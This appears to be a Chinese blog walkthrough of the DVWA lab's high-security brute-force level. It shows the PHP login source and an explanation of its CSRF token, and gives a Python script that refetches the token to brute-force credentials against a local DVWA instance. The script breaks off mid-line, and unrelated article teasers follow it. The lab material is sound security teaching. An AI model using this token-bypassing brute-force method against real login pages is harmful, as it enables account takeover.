DVWA-1.3 Brute Force(暴力破解)-High-绕过token

摘要:
˃我们发现,该代码添加了令牌以抵抗CSRF攻击,但也增加了爆破的难度。通过数据包捕获,我们可以看到在登录身份验证期间提交了四个参数:用户名、密码、login和user_token服务器返回的每个登录页面将包含一个随机用户_ token的值。每次用户登录时,用户_令牌。收到请求后,服务器将首先检查令牌,然后执行sql查询。源代码使用stripslases()和mysql_real_ascape_String()过滤器,并转义参数username和password,以进一步阻止sql注入。它降低了剧烈开裂的效率。

High Level

查看源码

DVWA-1.3 Brute Force(暴力破解)-High-绕过token第1张DVWA-1.3 Brute Force(暴力破解)-High-绕过token第2张
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src="http://t.zoukankan.com/{$avatar}" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
high.php

我们发现

(1)代码加入了token,可以抵御CSRF攻击,同时也增加了爆破的难度。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

DVWA-1.3 Brute Force(暴力破解)-High-绕过token第3张

每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

DVWA-1.3 Brute Force(暴力破解)-High-绕过token第4张

(2)源码使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入。

★stripslashes()

去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个。

mysql_real_escape_string()

函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

    • x00
    • '
    • "
    • x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

(3)错误页面使用了sleep( rand( 0, 3 ) );,也就是说当我们输入错误的用户名或密码时,会随机等待0-3秒后才显示错误信息。降低了暴力破解的效率。

漏洞利用

针对这样的情况,我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作:

破解动作:访问首页——获得user_token参数——发送带user_token的登录数据包

方法一 python脚本

# Author:Zheng Na
import requests,re

url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}

flag = False

f1 = open("username.txt", 'r')
for line1 in f1:
    username = line1.strip()

    f2 = open("password.txt", 'r')
    for line2 in f2:
        # 访问首页
        response1 = requests.get(url,headers=headers)
        # 获取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response1.text)[0]
        # 发送登录数据包
        password = line2.strip()
        params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token}
        response2 = requests.get(url, params=params, headers=headers)
        if "Username and/or password incorrect." in response2.text:
            print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token))
        else:
            print("

免责声明:内容来源于网络,仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇JavaScript 如何压缩目录并上传?使用U盘安装win7系统并在安装过程中使用cmd重新对硬盘分区下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Windows下Mysql Cluster集群启动脚本与启动服务添加方法

3.2.8    集群启动脚本及启动服务注册 从上面的启动过程我们可以看出,Mysql集群启动命令较复杂,容易造成cmd窗口因误操作关闭而导致的数据库停止,在此我介绍一下如何将这些命令的操作变成windos的服务项,当windos启动时,便可以自动启动mysql集群。 首先,Mysql集群分为管理节点、数据节点、访问节点三种类型,每一种都可以注册为Win...

MySQL java连接被拒绝:java.sql.SQLException: Access denied for user 'root'@'****' (using password: YES)

//系统运行出现错误:java.sql.SQLException: Access denied for user 'root'@'***.**.**.**' (using password: YES) MySQL服务器部署在Ubuntu上,错误中被我隐掉的是我的公网IP。 数据库管理工具连接出现以下错误: 这是由于“IP为***.**.**.**,名字为...

转 MYSQL监控工具--mytop

MYSQL监控工具--mytop   https://mp.weixin.qq.com/s/1X_uZaajImRRmpAsdLsNGw mysql可以说如今最为流行的数据库了,虽然现在nosql的风头正盛。但我想很多公司重要的业务数据不会用nosql去跑。而在这些方面mysql似乎的使用更盛(开源免费,让我花钱去买oracle,我想我是不会买的)。君...

vue后台管理系统项目

项目介绍1.项目根目录文件 2.源码子目录结构 3.api目录 4.assets目录 5.components目录 6.mixins目录 7.permission目录 8.router目录 9.store目录 10.styles目录 11.utils目录 项目文件介绍1.安装element-ui组件实现按需加载 // 1.1.npm...

mysql(2)-启动mysql报错The server quit without updating PID file!

mysql启动报错 今天启动mysql又一次报错:The server quit without updating PID file!记得上次出现这个问题的时候,尝试了一些常规的方法,未果,所以索性重新进行安装。但是,相同的问题今天又出现了!!!OH, my god!恰巧今天时间充裕,尝试各种办法,终于皇天不负有心人,经过一个小时的奋战后,终于让我给搞...

全网最详细的最新稳定OSSEC搭建部署(ossec-server(CentOS7.X)和ossec-agent(CentOS7.X))(图文详解)

不多说,直接上干货! 前言 写在前面的话,网上能够找到一些关于ossec方面的资料,虽然很少,但是总比没有强,不过在实际的使用过程中还是会碰到许多稀奇古怪的问题。整理整理我的使用过程,就当做一篇笔记吧。 PS:本文填了很多坑。 OSSEC是一款开源的基于主机的入侵检测系统,可以简称为HIDS。它具备日志分析,文件完整性检查,策略监控,rootkit检测,实...